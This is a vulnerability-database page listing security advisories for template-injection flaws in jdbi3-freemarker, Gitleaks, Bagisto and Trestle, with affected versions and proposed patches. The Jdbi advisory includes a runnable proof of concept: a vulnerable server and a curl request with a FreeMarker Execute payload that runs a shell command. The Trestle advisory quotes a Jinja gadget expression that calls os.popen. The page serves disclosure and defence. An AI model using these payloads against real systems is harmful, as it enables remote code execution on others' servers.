Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

476 vulnerabilities reference this CWE, most recent first.

GHSA-MGGX-P7JF-JGW4

Vulnerability from github – Published: 2026-05-05 22:15 – Updated: 2026-05-05 22:15
VLAI
Summary
jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine
Details

Summary

Description

An Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using jdbi3-freemarker permits attacker-influenced text to reach FreemarkerEngine.parse() as template source. This affects org.jdbi:jdbi3-freemarker through version 3.52.1.

The developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.

Jdbi’s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi’s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such ORDER BY columns.

Details

Jdbi constructs the underlying freemarker.template.Configuration with DEFAULT_INCOMPATIBLE_IMPROVEMENTS and never installs a TemplateClassResolver, so Freemarker's legacy UNRESTRICTED_RESOLVER remains active and the ?new built-in can instantiate arbitrary classes, including freemarker.template.utility.Execute.

Two Configuration instances are constructed in the module, neither of which is hardened:

// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java
public FreemarkerConfig() {
    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    freemarkerConfiguration.setNumberFormat("computer");
}
// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java
static {
    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    c.setNumberFormat("computer");
    CONFIGURATION = c;
}

The locator's CONFIGURATION is initialized once at class load and used by the deprecated static findTemplate(Class, String). It cannot be replaced via FreemarkerConfig#setFreemarkerConfiguration(...), so any fix must land in both call sites.

The sink is FreemarkerEngine.parse(), which constructs a Template from the raw SQL string and renders it against ctx.getAttributes():

// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java
Template template = new Template(null, sqlTemplate,
        config.get(FreemarkerConfig.class).getFreemarkerConfiguration());
return Optional.of(ctx -> {
    StringWriter writer = new StringWriter();
    template.process(ctx.getAttributes(), writer);
    return writer.toString();
});

Freemarker is the only built-in engine whose parse path provides reflective class loading by default.

Impact

This impacts all jdbi3-freemarker releases through 3.52.1. Exploitation requires that an application depend on jdbi3-freemarkerand allow request-derived text to flow into a SQL template body passed to Handle.createQuery(String), createUpdate(String), createCall(String), createScript(String), or Batch.add(String), or into a defined attribute that the template subsequently re-evaluates with ?eval or ?interpret.

An application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies ?eval / ?interpret to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.

Proposed Patch

The injection surface is the Configuration constructed by Jdbi on the application's behalf without a class-resolver policy.

FreemarkerConfig and FreemarkerSqlLocator's static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective ?new can override the Configuration via FreemarkerConfig#setFreemarkerConfiguration(...).

The static CONFIGURATION field cannot be reconfigured by application code at runtime, so a fix limited to FreemarkerConfig leaves the legacy locator path exploitable.

import freemarker.core.TemplateClassResolver;

// FreemarkerConfig.java
public FreemarkerConfig() {
    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    freemarkerConfiguration.setNumberFormat("computer");
    freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
}

// FreemarkerSqlLocator.java
static {
    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    c.setNumberFormat("computer");
    c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
    CONFIGURATION = c;
}

ALLOWS_NOTHING_RESOLVER rejects every ?new lookup, which is sufficient for SQL templating.SAFER_RESOLVER also closes RCE and blocks only Execute, ObjectConstructor, and JythonRuntime, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.

Proof of Concept

This PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi @Define attribute that the template subsequently evaluates.

# Create project directory
mkdir jdbi-freemarker-poc && cd jdbi-freemarker-poc

cat > pom.xml << 'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0">
  <modelVersion>4.0.0</modelVersion>
  <groupId>poc</groupId>
  <artifactId>jdbi-freemarker-poc</artifactId>
  <version>1.0</version>
  <properties>
    <maven.compiler.release>17</maven.compiler.release>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>
  <dependencies>
    <dependency>
      <groupId>org.jdbi</groupId>
      <artifactId>jdbi3-core</artifactId>
      <version>3.52.1</version>
    </dependency>
    <dependency>
      <groupId>org.jdbi</groupId>
      <artifactId>jdbi3-freemarker</artifactId>
      <version>3.52.1</version>
    </dependency>
    <dependency>
      <groupId>com.h2database</groupId>
      <artifactId>h2</artifactId>
      <version>2.2.224</version>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.13.0</version>
      </plugin>
    </plugins>
  </build>
</project>
EOF

mkdir -p src/main/java
cat > src/main/java/Server.java << 'EOF'
import com.sun.net.httpserver.HttpServer;
import org.jdbi.v3.core.Jdbi;
import org.jdbi.v3.core.statement.SqlStatements;
import org.jdbi.v3.freemarker.FreemarkerEngine;

import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;

public class Server {
    public static void main(String[] args) throws Exception {
        Jdbi jdbi = Jdbi.create("jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1");
        jdbi.getConfig(SqlStatements.class)
            .setTemplateEngine(FreemarkerEngine.instance());
        jdbi.useHandle(h -> {
            h.execute("create table users (id int, email varchar)");
            h.execute("insert into users values (1,'alice@example.com'),(2,'bob@example.com')");
        });

        HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);
        http.createContext("/search", ex -> {
            String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault("q", "");
            String sql = "select email from users where email like '%" + q + "%'";
            String body;
            try {
                body = jdbi.withHandle(h ->
                    h.createQuery(sql).mapTo(String.class).list().toString());
            } catch (Exception e) {
                body = "error: " + e.getMessage();
            }
            byte[] bytes = body.getBytes(StandardCharsets.UTF_8);
            ex.sendResponseHeaders(200, bytes.length);
            ex.getResponseBody().write(bytes);
            ex.close();
        });
        http.start();
        System.out.println("listening on http://127.0.0.1:8050/search?q=...");
    }

    private static Map<String, String> parseQuery(String raw) {
        Map<String, String> out = new HashMap<>();
        if (raw == null) return out;
        for (String pair : raw.split("&")) {
            int eq = pair.indexOf('=');
            if (eq < 0) continue;
            out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),
                    URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));
        }
        return out;
    }
}
EOF

mvn -q package
java -cp "target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)" Server &

Benign Request

$ curl -s 'http://127.0.0.1:8050/search?q=alice'
[alice@example.com]

Exploit

$ curl -sG 'http://127.0.0.1:8050/search' \
    --data-urlencode 'q=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("touch /tmp/jdbi-pwned")}'
[alice@example.com, bob@example.com]

$ ls -la /tmp/jdbi-pwned
-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.52.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jdbi:jdbi3-freemarker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:15:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Summary\n\n**Description**\n\nAn Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using `jdbi3-freemarker` permits attacker-influenced text to reach `FreemarkerEngine.parse()` as template source. This affects `org.jdbi:jdbi3-freemarker` through version 3.52.1.\n\nThe developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.\n\nJdbi\u2019s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi\u2019s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such `ORDER BY` columns. \n## Details\n\nJdbi constructs the underlying `freemarker.template.Configuration` with `DEFAULT_INCOMPATIBLE_IMPROVEMENTS` and never installs a `TemplateClassResolver`, so Freemarker\u0027s legacy `UNRESTRICTED_RESOLVER` remains active and the `?new` built-in can instantiate arbitrary classes, including `freemarker.template.utility.Execute`.\n\nTwo `Configuration` instances are constructed in the module, neither of which is hardened:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n}\n```\n\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    CONFIGURATION = c;\n}\n```\nThe locator\u0027s `CONFIGURATION` is initialized once at class load and used by the deprecated static `findTemplate(Class, String)`. It cannot be replaced via `FreemarkerConfig#setFreemarkerConfiguration(...)`, so any fix must land in both call sites.\n\nThe sink is `FreemarkerEngine.parse()`, which constructs a `Template` from the raw SQL string and renders it against `ctx.getAttributes()`:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java\nTemplate template = new Template(null, sqlTemplate,\n        config.get(FreemarkerConfig.class).getFreemarkerConfiguration());\nreturn Optional.of(ctx -\u003e {\n    StringWriter writer = new StringWriter();\n    template.process(ctx.getAttributes(), writer);\n    return writer.toString();\n});\n```\n\nFreemarker is the only built-in engine whose parse path provides reflective class loading by default.\n## Impact\n\nThis impacts all `jdbi3-freemarker` releases through 3.52.1. Exploitation requires that an application depend on `jdbi3-freemarker`and allow request-derived text to flow into a SQL template body passed to `Handle.createQuery(String)`, `createUpdate(String)`, `createCall(String)`, `createScript(String)`, or `Batch.add(String)`, or into a defined attribute that the template subsequently re-evaluates with `?eval` or `?interpret`.\n\nAn application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies `?eval` / `?interpret` to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.\n## Proposed Patch\n\nThe injection surface is the `Configuration` constructed by Jdbi on the application\u0027s behalf without a class-resolver policy.\n\n`FreemarkerConfig`\u00a0and\u00a0`FreemarkerSqlLocator`\u0027s static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective\u00a0`?new`\u00a0can override the\u00a0`Configuration`\u00a0via\u00a0`FreemarkerConfig#setFreemarkerConfiguration(...)`.\n\nThe static `CONFIGURATION` field cannot be reconfigured by application code at runtime, so a fix limited to `FreemarkerConfig` leaves the legacy locator path exploitable.\n```java\nimport freemarker.core.TemplateClassResolver;\n\n// FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n    freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n}\n\n// FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n    CONFIGURATION = c;\n}\n```\n\n`ALLOWS_NOTHING_RESOLVER` rejects every `?new` lookup, which is sufficient for SQL templating.`SAFER_RESOLVER` also closes RCE and blocks only `Execute`, `ObjectConstructor`, and `JythonRuntime`, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.\n\n## Proof of Concept\n\nThis PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi `@Define` attribute that the template subsequently evaluates.\n```bash\n# Create project directory\nmkdir jdbi-freemarker-poc \u0026\u0026 cd jdbi-freemarker-poc\n\ncat \u003e pom.xml \u003c\u003c \u0027EOF\u0027\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\u003e\n  \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n  \u003cgroupId\u003epoc\u003c/groupId\u003e\n  \u003cartifactId\u003ejdbi-freemarker-poc\u003c/artifactId\u003e\n  \u003cversion\u003e1.0\u003c/version\u003e\n  \u003cproperties\u003e\n    \u003cmaven.compiler.release\u003e17\u003c/maven.compiler.release\u003e\n    \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n  \u003c/properties\u003e\n  \u003cdependencies\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eorg.jdbi\u003c/groupId\u003e\n      \u003cartifactId\u003ejdbi3-core\u003c/artifactId\u003e\n      \u003cversion\u003e3.52.1\u003c/version\u003e\n    \u003c/dependency\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eorg.jdbi\u003c/groupId\u003e\n      \u003cartifactId\u003ejdbi3-freemarker\u003c/artifactId\u003e\n      \u003cversion\u003e3.52.1\u003c/version\u003e\n    \u003c/dependency\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003ecom.h2database\u003c/groupId\u003e\n      \u003cartifactId\u003eh2\u003c/artifactId\u003e\n      \u003cversion\u003e2.2.224\u003c/version\u003e\n    \u003c/dependency\u003e\n  \u003c/dependencies\u003e\n  \u003cbuild\u003e\n    \u003cplugins\u003e\n      \u003cplugin\u003e\n        \u003cgroupId\u003eorg.apache.maven.plugins\u003c/groupId\u003e\n        \u003cartifactId\u003emaven-compiler-plugin\u003c/artifactId\u003e\n        \u003cversion\u003e3.13.0\u003c/version\u003e\n      \u003c/plugin\u003e\n    \u003c/plugins\u003e\n  \u003c/build\u003e\n\u003c/project\u003e\nEOF\n\nmkdir -p src/main/java\ncat \u003e src/main/java/Server.java \u003c\u003c \u0027EOF\u0027\nimport com.sun.net.httpserver.HttpServer;\nimport org.jdbi.v3.core.Jdbi;\nimport org.jdbi.v3.core.statement.SqlStatements;\nimport org.jdbi.v3.freemarker.FreemarkerEngine;\n\nimport java.net.InetSocketAddress;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Server {\n    public static void main(String[] args) throws Exception {\n        Jdbi jdbi = Jdbi.create(\"jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1\");\n        jdbi.getConfig(SqlStatements.class)\n            .setTemplateEngine(FreemarkerEngine.instance());\n        jdbi.useHandle(h -\u003e {\n            h.execute(\"create table users (id int, email varchar)\");\n            h.execute(\"insert into users values (1,\u0027alice@example.com\u0027),(2,\u0027bob@example.com\u0027)\");\n        });\n\n        HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);\n        http.createContext(\"/search\", ex -\u003e {\n            String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault(\"q\", \"\");\n            String sql = \"select email from users where email like \u0027%\" + q + \"%\u0027\";\n            String body;\n            try {\n                body = jdbi.withHandle(h -\u003e\n                    h.createQuery(sql).mapTo(String.class).list().toString());\n            } catch (Exception e) {\n                body = \"error: \" + e.getMessage();\n            }\n            byte[] bytes = body.getBytes(StandardCharsets.UTF_8);\n            ex.sendResponseHeaders(200, bytes.length);\n            ex.getResponseBody().write(bytes);\n            ex.close();\n        });\n        http.start();\n        System.out.println(\"listening on http://127.0.0.1:8050/search?q=...\");\n    }\n\n    private static Map\u003cString, String\u003e parseQuery(String raw) {\n        Map\u003cString, String\u003e out = new HashMap\u003c\u003e();\n        if (raw == null) return out;\n        for (String pair : raw.split(\"\u0026\")) {\n            int eq = pair.indexOf(\u0027=\u0027);\n            if (eq \u003c 0) continue;\n            out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),\n                    URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));\n        }\n        return out;\n    }\n}\nEOF\n\nmvn -q package\njava -cp \"target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)\" Server \u0026\n```\n\nBenign Request\n```bash\n$ curl -s \u0027http://127.0.0.1:8050/search?q=alice\u0027\n[alice@example.com]\n```\n\nExploit\n```bash\n$ curl -sG \u0027http://127.0.0.1:8050/search\u0027 \\\n    --data-urlencode \u0027q=\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e${ex(\"touch /tmp/jdbi-pwned\")}\u0027\n[alice@example.com, bob@example.com]\n\n$ ls -la /tmp/jdbi-pwned\n-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned\n```",
  "id": "GHSA-mggx-p7jf-jgw4",
  "modified": "2026-05-05T22:15:17Z",
  "published": "2026-05-05T22:15:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdbi/jdbi/security/advisories/GHSA-mggx-p7jf-jgw4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdbi/jdbi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine"
}

GHSA-MMH4-9CVR-W4CJ

Vulnerability from github – Published: 2026-07-21 00:30 – Updated: 2026-07-21 00:30
VLAI
Details

Gitleaks prior to 8.30.1 contains a template injection vulnerability that allows attackers who can supply or influence report templates to read arbitrary environment variables and exfiltrate sensitive data by leveraging non-hermetic Sprig template functions. Attackers can craft malicious report templates using the env, expandenv, and getHostByName functions to extract credentials, tokens, and API keys from the host process and exfiltrate them through DNS queries, including secrets discovered during the scan itself.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-63728"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T00:17:48Z",
    "severity": "HIGH"
  },
  "details": "Gitleaks prior to 8.30.1 contains a template injection vulnerability that allows attackers who can supply or influence report templates to read arbitrary environment variables and exfiltrate sensitive data by leveraging non-hermetic Sprig template functions. Attackers can craft malicious report templates using the env, expandenv, and getHostByName functions to extract credentials, tokens, and API keys from the host process and exfiltrate them through DNS queries, including secrets discovered during the scan itself.",
  "id": "GHSA-mmh4-9cvr-w4cj",
  "modified": "2026-07-21T00:30:31Z",
  "published": "2026-07-21T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63728"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitleaks/gitleaks/commit/83d9cd684c87d95d656c1458ef04895a7f1cbd8e"
    },
    {
      "type": "WEB",
      "url": "https://fatihhcelik.github.io/posts/gitleaks-abusing-sprig-for-exfiltration/#the-fix"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitleaks/gitleaks"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitleaks-secret-exfiltration-via-non-hermetic-sprig-template-functions-in-report-template-feature"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MQHG-V22X-PQJ8

Vulnerability from github – Published: 2026-01-02 22:51 – Updated: 2026-01-08 21:36
VLAI
Summary
Bagisto is vulnerable to SSTI via name parameters provided by non-admin low-privilege users
Details

Summary

SSTI is possible via first name and last name parameters provided by lowest-privileged users.

Details

  1. Go to http://127.0.0.1:8000/ and login or signup
  2. Go to http://127.0.0.1:8000/customer/account/profile
  3. Now edit the first name and last name to {{7*7}}
  4. Notice it appears as 49

POC

  • Video attached with the report: https://github.com/user-attachments/assets/f93932b5-2a57-4f34-897e-4151a5168912

Impact

This can lead to RCE, command injection.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T22:51:40Z",
    "nvd_published_at": "2026-01-02T21:16:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSSTI is possible via first name and last name parameters provided by lowest-privileged users.\n### Details\n1. Go to `http://127.0.0.1:8000/` and login or signup \n2. Go to `http://127.0.0.1:8000/customer/account/profile`\n3. Now edit the first name and last name to {{7*7}}\n4. Notice it appears as 49\n\n### POC\n- Video attached with the report: https://github.com/user-attachments/assets/f93932b5-2a57-4f34-897e-4151a5168912\n\n### Impact\nThis can lead to RCE, command injection.",
  "id": "GHSA-mqhg-v22x-pqj8",
  "modified": "2026-01-08T21:36:05Z",
  "published": "2026-01-02T22:51:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-mqhg-v22x-pqj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/commit/4144931da0014c696f9126132ce44d7cfbdb2761"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/releases/tag/v2.3.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bagisto is vulnerable to SSTI via name parameters provided by non-admin low-privilege users"
}

GHSA-MR95-65J8-9MXP

Vulnerability from github – Published: 2026-09-24 19:50 – Updated: 2026-09-24 19:50
VLAI
Summary
Trestle SSTI in Jinja2 include tags allows arbitrary code execution (Incomplete fix of CVE-2026-46439)
Details

Reporter: Cavan Loughran, Celvex Group Inc.

Summary

The fix for CVE-2026-46439 (3.12.2 / 4.0.3) removed the recursive re-render loop in trestle/core/commands/author/jinja.py render_template, but the custom include tags in trestle/core/jinja/tags.py (MDSectionInclude, MDCleanInclude) still re-parse the CONTENT of an included markdown file as a Jinja2 template via Parser(self.environment, ).parse() in a plain (non-sandboxed) jinja2.Environment. Because the trestle markdown writers (ssp_io.py SSPMarkdownWriter, docs_control_writer.py DocsControlWriter) write OSCAL prose / component-description fields verbatim (the {{ -> [[ neutralization is applied to parameter tables only), attacker-controlled OSCAL data that flows into an included markdown file is interpreted as template code and can achieve arbitrary code execution on the runner. This is the same trust boundary and impact as CVE-2026-46439 via a sink the fix did not cover.

Affected versions

4.0.3 and earlier on this code path (the include tags predate and were untouched by the parent fix); the 3.12.x line likewise. Verified present in the fixed release 4.0.3 by direct source read.

Technical detail

Sink (UNCHANGED by the parent fix), trestle/core/jinja/tags.py:

MDSectionInclude.parse (the {% mdsection_include 'file.md' '# Section' %} tag), approximately: md_content, _, _ = self.environment.loader.get_source(self.environment, markdown_source.value) # ~line 90 ... local_parser = Parser(self.environment, md_section.content.raw_text) # ~line 104 <-- RE-PARSE top_level_output = local_parser.parse() # ~line 105 return top_level_output.body # ~line 106

MDCleanInclude.parse (the {% md_clean_include 'file.md' %} tag), approximately: md_content, _, _ = self.environment.loader.get_source(self.environment, markdown_source.value) # ~line 141 ... local_parser = Parser(self.environment, content) # ~line 150 <-- RE-PARSE top_level_output = local_parser.parse() # ~line 151 return top_level_output.body # ~line 152

Parser(self.environment, ).parse() compiles the included file's markdown text AS A JINJA TEMPLATE and splices the resulting AST .body directly into the host template's compilation. Any {{ ... }} / {% ... %} present in the included file is interpreted as template code, not emitted as literal text. The single-pass fix in render_template has no effect on this: the re-parse happens at compile time inside the tag, on a string the outer render loop never sees as data.

Environment is NOT sandboxed (UNCHANGED by the fix), trestle/core/commands/author/jinja.py _create_jinja_environment: return Environment(loader=FileSystemLoader(template_folder), extensions=extensions(), trim_blocks=True, autoescape=True) This is a plain jinja2.Environment, not jinja2.sandbox.SandboxedEnvironment, so a re-parsed expression has full access to the usual Jinja SSTI gadget chain leading to OS command execution. autoescape=True HTML-escapes output but does not constrain expression evaluation, so it does not mitigate code execution.

Data bridge (partial neutralization only): the included markdown is, in trestle's documented workflow, produced from OSCAL by the trestle generators / writers. trestle/core/ssp_io.py SSPMarkdownWriter writes control statement prose (get_control_statement_ssp) and component implementation descriptions (prose = by_comp.description) into markdown with no Jinja-delimiter escaping. trestle/core/docs_control_writer.py DocsControlWriter writes control section prose (self._md_file.new_line(prose)) and part text raw. The maintainers DO know about the {{-in-data risk: ssp_io.py applies line.replace('{{', '[[').replace('}}', ']]') to neutralize delimiters, but ONLY inside the parameter-table method (_parameter_table). Control-statement prose and component description fields receive no such neutralization. So an OSCAL field such as an SSP component description, a control statement override, or a catalog part prose string that contains {{ }} lands verbatim in the generated markdown, and then the include tag re-parses and executes it.

Why this is a genuine incomplete fix (not the same bug): the parent CVE-2026-46439 re-evaluation site was the recursive loop in render_template (main template output) in commands/author/jinja.py, which the fix removed. THIS variant's re-evaluation site is Parser(self.environment, ...) inside mdsection_include / md_clean_include (included file content) in core/jinja/tags.py, which the fix did NOT touch, and which runs in a plain (non-sandboxed) Environment. Same class (SSTI -> RCE), same trust boundary (untrusted OSCAL data), different and still-live sink.

Reachability (non-destructive reasoning)

  1. A pipeline ingests OSCAL content (component-definition, SSP, profile, or catalog) that an external or lower-trust party can influence (a component supplier, a control-narrative contributor, an upstream catalog). This is precisely the parent's accepted attacker: a malicious actor supplies crafted OSCAL content in an automated pipeline (CI/CD).
  2. The pipeline runs trestle author ssp-generate (or equivalent) which writes the OSCAL prose/description fields into markdown verbatim. A field value such as {{ cycler.init.globals['os'].popen('id').read() }} survives intact (no neutralization on prose/description).
  3. The pipeline then runs trestle author jinja -i template.md.j2 ... where the template composes the document with {% md_clean_include 'generated_control.md' %} or {% mdsection_include 'generated_ssp.md' '# Some Section' %} (the documented populate-content-from-other-documents pattern).
  4. The include tag re-parses the generated markdown in the non-sandboxed environment and the embedded expression executes => code runs with the privileges of the trestle process (the CI runner).

Non-destructive confirmation: place a benign marker such as {{ 77 }} in an OSCAL prose / description field; run the generator that writes it to markdown; include that markdown with {% md_clean_include 'generated.md' %}; observe 49 rather than the literal {{ 77 }}, confirming evaluation. A malicious field would use the standard Jinja gadget chain; that is deliberately NOT included here.

Impact

Arbitrary code execution on the trestle process (the CI runner), under the same trust boundary that CVE-2026-46439 was assigned on (untrusted OSCAL data in an automated pipeline). Non-sandboxed environment => full RCE in a release that is patched for the parent CVE.

Remediation

